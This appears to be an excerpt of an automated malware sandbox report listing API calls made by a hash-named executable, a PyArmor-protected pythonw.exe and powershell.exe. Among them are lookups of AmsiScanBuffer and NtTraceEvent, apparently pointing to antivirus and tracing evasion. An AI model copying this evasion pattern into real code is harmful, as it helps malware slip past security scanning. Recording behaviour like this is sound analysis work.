api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003580) "pythonw.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003580) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\6078762b90671c2ff9ba39318e2176d8\mscorlib.ni.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\fe3c9cf707273488c6c658d52d624640\System.ni.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\21ff4ba4607b18a9b179ab90fd3b0bc1\System.Core.ni.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\76ff225c5a523f0be2364b0fc02bf7f9\System.Xml.ni.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\afd58c711db7cac7f0d5caf525ce8d6c\System.DirectoryServices.ni.d (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\8ecda6b0ffa321000faffbdcdb86175b\System.Management.ni.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\8990b2f5a93202518a0040e15b565f36\System.Data.ni.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter Kernel32 (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter NtDll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\24206316825bb75ebfbdd31895df2f1f\System.Configuration.ni.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\beabd14f0ab9a67d348911645772e933\System.Transactions.ni.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\urlmon.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter urlmon.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.CSharp\1e10fd474ec14f28c0078ec745fff46f\Microsoft.CSharp.ni.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\9594c82af7b396b5ee8b0ef1d461cea2\System.Configuration.Install. (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\diasymreader.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvC (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter oleaut32 (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\api-ms-win-core (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-libraryloader-l1-2-0.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\msvcrt.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter msvcrt.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Manag (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter Microsoft.Management.Infrastructure.Native.Unmanaged.DLL (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\mi.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter mi.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-processthreads-l1-1-0.dll (UID: 00000000-00003640) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-handle-l1-1-0.dll (UID: 00000000-00003640)4a:Tb539,"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "GetProcAddress" with a parameter RtlAllocateHeap (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "GetProcAddress" with a parameter RtlReAllocateHeap (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "GetProcAddress" with a parameter RtlEnterCriticalSection (UID: 00000000-00002512) "a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe" called "GetProcAddress" with a parameter RtlLeaveCriticalSection (UID: 00000000-00002512) "pythonw.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter GetFileInformationByName (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter PyInit_pyarmor_runtime (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter PyCell_Get (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter PyCell_New (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter PyCell_Set (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter PyInit__ctypes (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter GetProcessHeap (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter HeapCreate (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter HeapAlloc (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RtlMoveMemory (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RtlAllocateHeap (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter NtTraceEvent (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RtlAddVectoredExceptionHandler (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter CLRCreateInstance (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00003580) "pythonw.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00003580) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00003640) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00003640) 